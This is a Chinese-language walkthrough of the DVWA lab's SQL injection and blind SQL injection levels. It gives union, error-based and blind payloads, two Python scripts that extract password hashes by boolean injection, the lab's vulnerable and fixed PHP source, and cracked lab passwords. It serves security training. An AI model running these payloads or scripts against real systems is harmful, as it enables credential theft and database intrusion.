Damn Vulnerable Web Application(中)

0 阅读25分钟

SQL Injection

SQL注入

SQL注入攻击是指通过客户端向应用程序输入数据中插入或“注入”SQL查询语句。成功的SQL注入攻击可以读取数据库中的敏感数据、修改数据库数据(插入/更新/删除)、对数据库执行管理操作(如关闭数据库管理系统)、恢复数据库管理系统文件系统中指定文件的内容(load_file),甚至在某些情况下向操作系统发出命令。

SQL注入攻击属于注入攻击的一种,通过将SQL命令注入到数据层输入中,以影响预定义SQL命令的执行。

此类攻击也可简称为“SQLi”。

目标

数据库中有5个用户,ID从1到5。你的任务是……通过SQLi窃取他们的密码。

低级难度

SQL查询使用了攻击者可直接控制的原始输入。攻击者只需转义查询语句,即可执行任意SQL命令。

提示:?id=a' UNION SELECT "text1","text2";-- -&Submit=Submit

中级难度

中级难度采用了“mysql_real_escape_string()”函数进行SQL注入防护。但由于SQL查询参数未用引号包裹,该防护无法完全阻止查询被篡改。

文本框被替换为预定义的下拉列表,并通过POST方法提交表单。

提示:?id=a UNION SELECT 1,2;-- -&Submit=Submit

高级难度

与低级难度非常相似,但此次攻击者通过另一种方式输入数据。输入值通过会话变量经其他页面传递至存在漏洞的查询,而非直接GET请求。

提示:ID: a' UNION SELECT "text1","text2";-- -&Submit=Submit

不可能难度

查询现已参数化(而非动态生成)。这意味着开发者已明确定义查询结构,严格区分代码段与数据部分。

参考:www.owasp.org/index.php/S…

low

普通payload: 'or ='image-20260326213755366.png

说明需要引号闭合,且一共有两个回显位置分别是 first name和 surname,即原语句查询两列数据

测试 #/-- 能否正常使用:

1' OR 1=1#、1'OR 1=1-- image-20260328215019519.pngimage-20260328214936221.png

使用 order by验证查询列数

image-20260326222111594.png

image-20260326222213727.png

1'order by 2#成功回显了,说明至少有两列 1'order by 3#报错,说明查询列数不超过3列,即只有两列

UNION

测试UNION查询查询数据库 'UNION SELECT DATABASE(),null #(null的作用是占据一个回显位置,避免报错,使用UNION时两个SELECT语句的列数必须相同,对应列的数据类型必须兼容)image-20260326221245154.png

获得数据库名 dvwa

接下来获取表名:

'UNION SELECT null,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database() #

image-20260326223512879.png

表名:users

获取列名

'UNION SELECT null,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema = 'dvwa' AND table_name = 'users' #

image-20260326225447282.png

所需的用户信息列:user,password

用户名及密码

'UNION SELECT GROUP_CONCAT(user),GROUP_CONCAT(password) FROM dvwa.users #

image-20260326225959880.png

ID: 'UNION SELECT GROUP_CONCAT(user), GROUP_CONCAT(password) FROM dvwa.users #
First name: admin,gordonb,1337,pablo,smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99

image-20260326230540451.png

小写字母+数字且有32位,大概率MD5

分别拿去解密image-20260326230835812.pngimage-20260326230917592.pngimage-20260326231019228.png

。。。。。。

整理得:

用户名密码(MD5)密码
admin5f4dcc3b5aa765d61d8327deb882cf99password
gordonbe99a18c428cb38d5f260853678922e03abc123
13378d3533d75ae2c3966d7e0d4fcc69216bcharley
pablo0d107d09f5bbe40cade3de5c71e9e9b7letmein
smithy5f4dcc3b5aa765d61d8327deb882cf99password

报错注入

唯一键冲突

GROUP BY子句中使用RAND()函数时,如果RAND()在分组过程中被多次计算,可能引发"Duplicate entry"错误,且错误信息会包含RAND()的计算值

SELECT COUNT(*) FROM information_schema.tables GROUP BY RAND();

在此基础上尝试泄露数据库

SELECT COUNT(*), CONCAT(database(), RAND()) x FROM information_schema.tables GROUP BY x;

RAND()是真正随机的,使用 RAND(0),提高触发错误概率,而 FLOOR(RAND(0)*2)的返回值序列是 0, 1, 1, 0... ,概率进一步提高

处理第一行数据,第一次计算x值:CONCAT('dvwa',0) = 'dvwa0'。系统尝试在临时表中为'dvwa0'创建分组

在处理同一行或后续行的分组插入/校验时,第二次计算x值:CONCAT('dvwa',1) = 'dvwa1'

原本要放进'dvwa0'分组的数据,现在键值变成了'dvwa1',导致系统试图将一行数据插入到一个与最初判断不同的分组中,从而在内部临时表引发了重复键或一致性冲突

COUNT(*)会对每个分组计数,返回每个分组中的行数,增加了 **RAND()**计算的机会

SELECT COUNT(*), CONCAT(database(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x;

GROUP BY返回多行多列,而子查询需返回一个值判断true或false,子查询语法是错误的,无法从报错信息获取有效信息,于是就将此语句作为内层查询,使用外层查询(SELECT 1 FROM (内层查询)y),将内层查询作为一个派生表y,包装成语法正确的语句,内层查询语句会完整执行,触发了键值冲突,因此外层查询根本不会返回多行数据,避免了 **Operand should contain 1 column(s)**的报错,自始至终只有键值冲突的报错,而键值就是我们想要的有用信息

1'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT(database(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y) #

image-20260327203811076.png

所以

1'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y) #

image-20260328121931296.png

要一个一个的获取,有点麻烦,使用 SUBSTRING()

1'AND(SELECT 1 FROM(SELECT COUNT(*), CONCAT((SELECT SUBSTRING(GROUP_CONCAT(table_name),1,50)FROM information_schema.tables WHERE table_schema=database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y) #

image-20260328121547003.png

1'AND(SELECT 1 FROM(SELECT COUNT(*), CONCAT((SELECT SUBSTRING(GROUP_CONCAT(column_name),1,50)FROM information_schema.columns WHERE table_schema=database() AND table_name='users'),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)#

image-20260328122609176.png

1'AND(SELECT 1 FROM(SELECT COUNT(*), CONCAT((SELECT SUBSTRING(GROUP_CONCAT(user),1,50)FROM users),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)#

image-20260328123034831.png

计算密码总长度

1'AND(SELECT 1 FROM(SELECT COUNT(*), CONCAT((SELECT LENGTH(GROUP_CONCAT(password))FROM users),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)#

image-20260328125940150.png

1'AND(SELECT 1 FROM(SELECT COUNT(*), CONCAT((SELECT SUBSTRING(GROUP_CONCAT(password),1,164)FROM users),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)#

image-20260328123450274.png

**5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f26085367892...**长度为64,从62开始继续取值

1'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT SUBSTRING(GROUP_CONCAT(password),62,63)FROM users),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)#

1'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT SUBSTRING(GROUP_CONCAT(password),125,63)FROM users),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)#

image-20260328124735076.pngimage-20260328125713293.png

将密码拼接得到

5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99
extractvalue()
1'AND extractvalue(1,concat(0x7e,database())) #

image-20260328135942945.png

数据库引擎会尝试执行extractvalue(1, '~dvwa')。由于第一个参数1不是合法XML,更重要的是,~dvwa作为一个XPath表达式是无效的语法~是非法字符,hex编码为 0x7e),这会导致extractvalue()函数执行出错。MySQL在报告这个XPath语法错误时,会将出错的XPath字符串(即concat函数的结果)包含在错误信息中一并返回。

1'AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING(GROUP_CONCAT(password),1,32)FROM users))) #
# 5f4dcc3b5aa765d61d8327deb882

1'AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING(GROUP_CONCAT(password),29,31)FROM users))) #
# cf99,e99a18c428cb38d5f260853678

1'AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING(GROUP_CONCAT(password),60,31)FROM users))) #
# 678922e03,8d3533d75ae2c3966d

......

image-20260328132902163.pngimage-20260328134211639.png

。。。

updatexml()

extractvalue()一样都是XPATH报错,原理差不多

1'AND updatexml(1,concat(0x7e,database()),1) #

1'AND updatexml(1,concat(0x7e,(SELECT SUBSTRING(GROUP_CONCAT(password),1,31) from users)),1) #

image-20260328141026126.png

image-20260328141712697.png

其他

几何函数

1' AND ST_LatFromGeoHash(database()) #

image-20260328192955122.png

但是通过报错也知道,此函数不存在,只能获得数据库名称,任何不存在的函数都有可能产生类似报错image-20260328200526473.png

MySQL 5.7+:对空间函数参数检查更严格,所以__geometrycollection() multipoint() polygon() multipolygon() linestring() multilinestring()__等都不行

堆叠注入

1';SELECT database(),null #

image-20260328192613205.png

看来不行

宽字节

显示使用UTF-8,这也不行image-20260328195309878.png

low.php

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            mysqli_close($GLOBALS["___mysqli_ston"]);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
            #$sqlite_db_connection->enableExceptions(true);

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    } 
}

?>

漏洞点出在

......
$id = $_REQUEST[ 'id' ];
......
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

直接拼接attacker输入的id,没有任何过滤,完全可以构造任意payload

medium

试使用引号闭合image-20260329124607243.png

去掉引号image-20260329124658784.png

这是数字型的,不用引号闭合image-20260329124925028.pngimage-20260329125437024.png

没什么特别的,方法在low等级已经试的差不都了image-20260329125209421.png

medium.php

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Display values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    }
}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

从代码来看,漏洞点主要比low.php少了引号

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; //low.php

$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; //medium.php

high

这次将输入框独立,除此之外好像没什么改进,跟low等级差不多image-20260329130949120.png

image-20260329132505148.pngimage-20260329132927224.png

high.php

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    }
}

?>

依旧跟前面两关卡一样直接拼接用户输入的id进行查询,多加了个limit 1,可惜注释符 -- /#能用

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; //low.php

$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; //medium.php

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; //high.php

impossible

impossible.php

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        $id = intval ($id);
        switch ($_DVWA['SQLI_DB']) {
            case MYSQL:
                // Check the database
                $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
                $data->bindParam( ':id', $id, PDO::PARAM_INT );
                $data->execute();
                $row = $data->fetch();

                // Make sure only 1 result is returned
                if( $data->rowCount() == 1 ) {
                    // Get values
                    $first = $row[ 'first_name' ];
                    $last  = $row[ 'last_name' ];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
                break;
            case SQLITE:
                global $sqlite_db_connection;

                $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
                $stmt->bindValue(':id',$id,SQLITE3_INTEGER);
                $result = $stmt->execute();
                $result->finalize();
                if ($result !== false) {
                    // There is no way to get the number of rows returned
                    // This checks the number of columns (not rows) just
                    // as a precaution, but it won't stop someone dumping
                    // multiple rows and viewing them one at a time.

                    $num_columns = $result->numColumns();
                    if ($num_columns == 2) {
                        $row = $result->fetchArray();

                        // Get values
                        $first = $row[ 'first_name' ];
                        $last  = $row[ 'last_name' ];

                        // Feedback for end user
                        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                    }
                }

                break;
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

此关使用了参数化查询,跟前面3关大不相同,没法注入了

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; //low.php

$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; //medium.php

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; //high.php

$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
                $data->bindParam( ':id', $id, PDO::PARAM_INT );
                $data->execute();
                $row = $data->fetch(); //impossible.php

SQL Injection (Blind)

SQL盲注

当攻击者执行SQL注入攻击时,服务器有时会返回数据库服务器的错误信息,提示SQL查询语法不正确。盲注与普通SQL注入类似,区别在于当攻击者试图利用应用程序漏洞时,他们不会收到有用的错误消息,而是看到开发者指定的通用页面。这使得利用潜在的SQL注入攻击更加困难,但并非不可能。攻击者仍然可以通过SQL语句提出一系列真假问题,并观察Web应用程序的响应(返回有效条目或设置404标头)来窃取数据。

当页面响应没有明显差异时(因此称为盲注),通常会使用"基于时间"的注入方法。这意味着攻击者会等待观察页面响应所需的时间。如果响应时间比正常情况长,则说明他们的查询成功了。

目标

通过SQL盲注攻击找出SQL数据库软件的版本。

低级

SQL查询使用了由攻击者直接控制的原始输入。他们只需要转义查询,就可以执行任何SQL查询。

提示:?id=1' AND sleep 5&Submit=Submit

中级

中级防护使用了"mysql_real_escape_string()"函数进行SQL注入保护。但由于SQL查询参数周围没有引号,这并不能完全防止查询被篡改。

文本框已被预定义的下拉列表取代,并使用POST提交表单。

提示:?id=1 AND sleep 3&Submit=Submit

高级

这与低级非常相似,但这次攻击者以不同的方式输入值。输入值是在另一个页面上设置的,而不是通过GET请求。

提示:ID: 1' AND sleep 10&Submit=Submit

提示:应该能够绕过中间环节...

不可能级别

查询现在已参数化(而不是动态的)。这意味着查询由开发者定义,并且区分了哪些部分是代码,其余部分是数据。

参考:owasp.org/www-communi…

跟前面的SQL注入关卡一样,只不过只能判断存不存在,全靠自己猜

low

共有3中回显

  1. 存在

    User ID exists in the database.image-20260329145132390.png

  2. 不存在

    User ID is MISSING from the database.image-20260329145257726.png

  3. 错误

    There was an error.image-20260329145349245.png

布尔盲注

#直接猜
1'AND (SELECT database())='dvwa'-- 
1'AND SUBSTRING((SELECT database()),1,10)='dvwa

#ASCII逐字猜
1'AND ASCII(SUBSTRING((SELECT database()),1,1))=100 -- 
#d的ASCII编码为100

image-20260329173723391.png

脚本:

import time
import requests
import threading

# 配置
CONFIG = {
    'url': "http://192.168.179.131:4280/vulnerabilities/sqli_blind/",
    'cookies': {
        'PHPSESSID': '20222b76809e068b075f172e739242ad',
        'security': 'low'
    },
    'headers': {
        'User-Agent': 'Mozilla/5.0'
    },
    
    # 线程配置
    'max_threads': 6,           # 最大并发线程数
    'thread_delay': 0.1,       # 线程启动间隔(秒)
    
    # 时间间隔配置
    'request_delay': 0.05,     # 每次请求间隔(秒)
    'batch_delay': 0.1,        # 批次间延迟(秒)
    'error_delay': 0.1,        # 错误重试延迟(秒)
    
    # SQL注入配置
    'max_length': 200,          # 最大字符长度
    'ascii_range': (32, 126),  # ASCII字符范围
    
    # 目标配置
    'target': 'SELECT group_concat(password) FROM users',
    'success_indicator': 'User ID exists'  # 成功判断标志
}

result = ""

def find_char(pos):
    low, high = CONFIG['ascii_range']
    while low <= high:
        mid = (low + high) // 2
        time.sleep(CONFIG['request_delay'])
        
        # 使用配置的目标和SQL语法
        payload = f"1' AND ascii(substring(({CONFIG['target']}),{pos},1))>{mid}-- "
        params = {'id': payload, 'Submit': 'Submit'}
        
        try: #get方法
            r = requests.get(CONFIG['url'], params=params, cookies=CONFIG['cookies'], 
                           headers=CONFIG['headers'], timeout=5)
            
            # 使用配置的成功判断标志
            if CONFIG['success_indicator'] in r.text:
                low = mid + 1
            else:
                high = mid - 1
        except Exception as e:
            print(f"请求错误: {e}")
            time.sleep(CONFIG['error_delay'])
    
    char_ascii = low
    return (chr(char_ascii), char_ascii) if CONFIG['ascii_range'][0] < char_ascii <= CONFIG['ascii_range'][1] else (None, char_ascii) #不包含空格

start_time = time.time()
for batch_start in range(1, CONFIG['max_length'] + 1, CONFIG['max_threads']):
    threads, results = [], {}
    
    for i, pos in enumerate(range(batch_start, min(batch_start + CONFIG['max_threads'], CONFIG['max_length'] + 1))):
        def thread_func(p):
            results[p] = find_char(p)
        t = threading.Thread(target=thread_func, args=(pos,))
        threads.append(t)
        t.start()
        # 线程启动间隔
        if i < CONFIG['max_threads'] - 1 and pos < CONFIG['max_length']:
            time.sleep(CONFIG['thread_delay'])
    
    for t in threads:
        t.join()
    
    empty_found = False
    for pos in range(batch_start, min(batch_start + CONFIG['max_threads'], CONFIG['max_length'] + 1)):
        if pos in results:
            char, ascii_val = results[pos]
            if char:
                result += char
                print(f"{pos}: '{char}' (ASCII:{ascii_val}), 结果: {result}")
            else:
                print(f"位置{pos}: 超出范围({ascii_val})")
                empty_found = True
        else:
            empty_found = True
     
    if empty_found:
        break
    
    # 批次间延迟
    if batch_start + CONFIG['max_threads'] <= CONFIG['max_length']:
        time.sleep(CONFIG['batch_delay'])

print(f"\n最终结果: {result}")
print(f"总耗时: {time.time() - start_time:.2f} 秒")

image-20260329185401288.png

。。。。。。

时间盲注

当没有任何回显的时候,只能通过响应时间来判断真假

1'AND IF((SELECT database())='dvwa',SLEEP(5),0)-- 
1'AND IF((SELECT database())='dvwa',SLEEP(0.6),0)-- 

image-20260329193845284.png

image-20260329221617034.png

low.php

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            try {
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors
            } catch (Exception $e) {
                print "There was an error.";
                exit;
            }

            $exists = false;
            if ($result !== false) {
                try {
                    $exists = (mysqli_num_rows( $result ) > 0);
                } catch(Exception $e) {
                    $exists = false;
                }
            }
            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            try {
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
                $exists = false;
            }

            break;
    }

    if ($exists) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    } else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

}

?>

跟前面的low等级一样,只不过回显固定了

medium

也是数字型的

1 AND ASCII(SUBSTRING(database(),1,1))=100-- 

image-20260330092123821.png

方法跟low等级一样,在low等级的脚本中稍微做些修改

# get方法
r = requests.get(url, params=data)  # GET + params

# post方法
r = requests.post(url, data=data)   # POST + data

所以把get改为post,params改为data,等级改为medium,payload去掉引号即可

medium.php

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            try {
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors
            } catch (Exception $e) {
                print "There was an error.";
                exit;
            }

            $exists = false;
            if ($result !== false) {
                try {
                    $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
                } catch(Exception $e) {
                    $exists = false;
                }
            }
            
            break;
        case SQLITE:
            global $sqlite_db_connection;
            
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            try {
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
                $exists = false;
            }
            break;
    }

    if ($exists) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    } else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
}

?>

high

跟low等级差不多,只是输入输出界面分离了,但是发现是通过cookie传入id的image-20260331183413749.png

image-20260331183502689.png

可以直接把此关当作low等级看待

import requests
import threading

# 配置
url = "http://192.168.179.131:4280/vulnerabilities/sqli_blind/"
cookies = {
    'PHPSESSID': 'f97e23b7eb5ead582d6ba804930945e7',
    'security': 'high',
    'id': '1'
}

result = ""

def find_char(pos):
    low, high = 32, 126
    while low <= high:
        mid = (low + high) // 2
        
        # payload通过Cookie传递
        payload = f"1' AND ascii(substring((SELECT group_concat(password) FROM users),{pos},1))>{mid}# "
        cookies['id'] = payload
        
        r = requests.get(url, cookies=cookies)
        
        if 'User ID exists' in r.text:
            low = mid + 1
        else:
            high = mid - 1
    
    return chr(low) if 32 < low <= 126 else None

# 多线程处理
for batch in range(1, 201, 6):
    threads, results = [], {}
    
    for pos in range(batch, min(batch + 6, 201)):
        def thread_func(p):
            results[p] = find_char(p)
        t = threading.Thread(target=thread_func, args=(pos,))
        threads.append(t)
        t.start()
    
    for t in threads:
        t.join()
    
    for pos in range(batch, min(batch + 6, 201)):   
        if pos in results and results[pos]:
            result += results[pos]
            print(f"{pos}: {results[pos]}, 结果: {result}")
        else:
            break

print(f"\n最终结果: {result}")

image-20260331191026003.png

high.php

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            try {
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors
            } catch (Exception $e) {
                $result = false;
            }

            $exists = false;
            if ($result !== false) {
                // Get results
                try {
                    $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
                } catch(Exception $e) {
                    $exists = false;
                }
            }

            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            try {
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
                $exists = false;
            }

            break;
    }

    if ($exists) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
}

?>

可知,此关跟low等级几乎无差别,只是不存在的话会延时,增加了代码爆破的时间

impossible

impossible.php

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    $exists = false;

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        $id = intval ($id);
        switch ($_DVWA['SQLI_DB']) {
            case MYSQL:
                // Check the database
                $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
                $data->bindParam( ':id', $id, PDO::PARAM_INT );
                $data->execute();

                $exists = $data->rowCount();
                break;
            case SQLITE:
                global $sqlite_db_connection;

                $stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' );
                $stmt->bindValue(':id',$id,SQLITE3_INTEGER);
                $result = $stmt->execute();
                $result->finalize();
                if ($result !== false) {
                    // There is no way to get the number of rows returned
                    // This checks the number of columns (not rows) just
                    // as a precaution, but it won't stop someone dumping
                    // multiple rows and viewing them one at a time.

                    $num_columns = $result->numColumns();
                    if ($num_columns == 1) {
                        $row = $result->fetchArray();

                        $numrows = $row[ 'numrows' ];
                        $exists = ($numrows == 1);
                    }
                }
                break;
        }

    }

    // Get results
    if ($exists) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    } else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这关使用预处理语句防止SQL注入的同时,也生成CSRF令牌且查询后生成新的CSRF令牌防止了CSRF攻击,也防止令牌重用

Weak Session IDs

弱会话ID

